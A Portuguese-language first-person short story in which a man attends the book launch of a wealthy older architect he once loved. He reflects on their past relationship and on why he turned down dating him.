Acinzentado, longe, velho e com saudade

Estou numa sala imensa, cheia de objetos de decoração de última linha e quadros abstratos que, de tão profundos, poderiam atingir meu útero se eu tivesse um. Uma casa completamente vazia e com plantas acinzentadas. O sofá é uma coisa maior do que o mundo e bem mais confortável do que a minha cama. Fico até desconfortável pra sentar. Pulo pra uma poltrona com os dedos entre as páginas do livro que eu acabei de adquirir. A vidraça que dá para a varanda de tão nítida faz inveja à minha vida. É possível ver a cidade inteira dessa vista. Alguém liga aí pra Unesco ou pro Iphan, sei lá, e avisa que isso aqui é patrimônio da humanidade, pelamor.

Espero ele descer da imensa escada, com a sua inteligência de Dr. Shaun Murphy e abdômen de ator pornô, enquanto julgo mentalmente as pessoas bonitas (e muito maquiadas e com falsos elogios às pessoas muito maquiadas e com falsos elogios) que transitam pela casa dele com champanhe, uísque e drinques com frutas e se encostam nas almofadas dele de mocinha. Vejo ele descendo e ajeito a minha roupa. Ele nem é tão alto. Mas o peitoral pendente pra frente aumenta aí uns dez centímetros. Ele nem é mais tão bonito. Mas os rapazes afoitos por outros homens mais velhos, aqueles que vêm do interior pra morar em Salvador e almoçam às custas dos outros “até resolver a vida”, ainda o medem dos pés a cabeça. Um arquiteto renomado e que ganhou centenas de prêmios e que tem livros publicados. O cheiro do sucesso. O homem que deu certo. Quem não quer um desses?

Os garçons que ele contratou pra mais um lançamento do livro dele ficam nervosos quando ele sorri. As pessoas maquiadas e com falsos elogios abraçam ele e desejam mais sucesso. A música abaixa na hora que ele fala um pouco mais alto. Às vezes, eu acho que é por respeito. Às vezes, eu acho que ele incomoda o mundo. E eu, depois de quê? Quase oito anos? Ainda me irrito, principalmente com os rapazes oferecidos do interior e com as pessoas maquiadas e com falsos elogios. E ele ainda se irrita que eu me irrito por algo que, segundo ele, é pura banalidade. “Murilo, querido, é só você que vê essas coisas”. Não, querido, só eu que falo sobre essas coisas que todo mundo vê, mas não tem coragem de falar.

Eu, no fim da fila, o vejo de longe autografando livros, tentando lembrar por que eu não quis namorar com ele, mesmo sabendo que seria a primeira vez que uma relação minha não daria errada, mesmo ainda tendo guardada na terceira gaveta do meu criado mudo a aliança grossa que ele me deu com as iniciais do nosso nome gravadas na parte de dentro. “Com essa você pode tomar banho, acredita?”, ele disse, tirando sarro das joias vagabundas, do arroz com nome dentro e das pulseirinhas que quebravam semanas depois que outros caras me davam. Por que eu não quis namorar esse cara? Por que ele é vinte anos mais velho do que eu? Por que eu tive medo de gostar mais do dinheiro do que dele?

Sou um dos últimos a receber o autógrafo. Ele sorri. Chama o fotógrafo. Tira uma foto nossa. Me pede pra esperar no canto. Mas pra quê? Ele autografa os últimos livros de mais pessoas maquiadas e com falsos elogios. Continuo à espera. Ele sorri e some na multidão. Assim. Da forma mais cretina, filha da puta e nojenta do mundo. Quem esse cara pensa que é? Eu cancelo todos os meus compromissos, e ele? O que ele fez? Cagou pra mim.    

Fico tão desolado e estranho e esburacado, me sentindo um lixo, a ponto de largar tudo lá e voltar pra casa. Eu ia ligar pra minha mãe, tomar um banho bem gelado, lavar os cabelos, tomar meio Rivotril, chorar um pouco, me jurar nunca mais aceitar esse tipo de humilhação de gente rica, fazer massagem nos meus pés, colocar um par de meias e dormir. Mas assim que fui sair pela imensa porta de madeira da imensa casa dele, tomei um susto quando vi que ele me esperava no jardim. Velho, intelectual, sarado. Fumando loucamente como naqueles filmes de homens que fumam loucamente. Sentado com os braços apoiados como naqueles filmes de homens que esperam. Perfume extremamente firme, pele muito bem hidratada e olhando tudo com um sorriso demorado que dura pouco. Eu descobri, olhando pra ele, que minha ansiedade é a típica do rapaz de quase trinta anos, bobo, que leu doze clássicos, sabe doze músicas renomadas, viu doze filmes vencedores do Oscar, conhece doze lugares incríveis e acha que ainda ama um homem. Você sempre se sente mais vazio quando olha pra ele.  

E então ele me conta histórias aleatórias da própria vida. Valha-me Deus. Quer dizer que semana passada você fechou um contrato que mudou “podre de” ao seu “rico”? Ele ri alto. Ele sempre ri do que eu falo. Mesmo depois de quê? Quase oito anos? Ele sempre gostou do meu sarcasmo, das minhas ironias, da maneira esculachada que eu trato a grana dele. A cada compra de um carro zero, a cada casa maior (como se isso fosse possível). E eu, ao invés de fazer carinha blasé como, tenho certeza, o namorado atual dele faz, dava gritos de alegria. Pulava. Abraçava. Corria de meias puídas  pela sala imensa. Brincava de ligar da cozinha e falar que eu não conseguia lembrar como voltar pro quarto. Apelidava o meu banheiro imenso de “suíte 120B”. Ele no escritório. E eu sozinho na casa imensa. Levantava a persiana da janela e dava um palavrão bem alto pra vista maravilhosa. Gritava. Pulava na cama. Que saudade de pular nas cobertas com milhares de fios de algodão! Eu adorava. Ai, como eu adorava. Eu tinha o quê? Vinte ou vinte um anos. Eu era bobo de tudo. Achava que eu tava levando uma vida de novela. Que eu teria centenas de empregados e passaria meses da minha vida rodando a Europa. Eu adorava ter um namorado velho. Ficava excitado com aquela pele meio desgrudada dos ossos, mas com a barriga trincada de um moleque que faz academia. Mas eu não podia, eu não podia namorar esse homem.

Ele falando sem parar e eu lembrando de tudo que aconteceu entre a gente, com todos os detalhes, em um minuto. E então eu gosto dele, de novo, porque chega uma hora que não falamos nada. E, como naquele dia que eu não quis namorar com ele, me despeço com um “boa sorte”, só que dessa vez pelo livro.

O Uber chega e o portão de madeira se fecha com ele completamente curvado, malditas costas. Ele fica ali até o carro desaparecer na rua, como um pai, e isso me dá vontade de voltar. Parece loucura da minha cabeça. Pode parecer errado. Mas, depois que o carro some dos olhos dele, quando eu começo a sentir sem script, quando minha cabeça deixa de rodar, sinto que as plantas estão onde deveriam. E o sofá. E a vidraça. E a vista. E a vida dele vazia. E as pessoas maquiadas e com elogios falsos também. E eu nesse carro, e tudo. Se encaixa. Perfeitamente. E então descubro por que eu não quis namorar esse homem. Eu vou embora porque sempre canso de tudo e ele sempre fica porque precisa de tudo imenso pra poder se sentir amado. Mas agora, ele não sabe como agradeço, vou pedir ao motorista do Uber pra colocar uma música bem alta no carro. A gente vai dançar e nem reparar que o sinal abriu.

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